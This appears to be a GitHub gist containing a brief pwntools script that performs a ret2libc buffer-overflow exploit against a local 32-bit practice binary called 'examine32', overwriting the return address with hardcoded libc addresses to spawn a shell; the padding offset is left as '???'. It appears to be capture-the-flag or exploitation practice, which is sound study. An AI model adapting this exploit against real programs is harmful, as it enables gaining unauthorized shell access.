Skip to content

Instantly share code, notes, and snippets.

@caioluders
Last active April 12, 2018 22:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save caioluders/cd2a2abf738cb457f80023dd1456c70e to your computer and use it in GitHub Desktop.
Save caioluders/cd2a2abf738cb457f80023dd1456c70e to your computer and use it in GitHub Desktop.
from pwn import *
p = process("./examine32")
system = 0xf7e19e70
exit = 0xf7e0cf50
bash = 0xf7f39fcc
offset = ???
exploit = "A"*offset+p32(system)+p32(exit)+p32(bash)+"\xff"
p.sendline(exploit)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment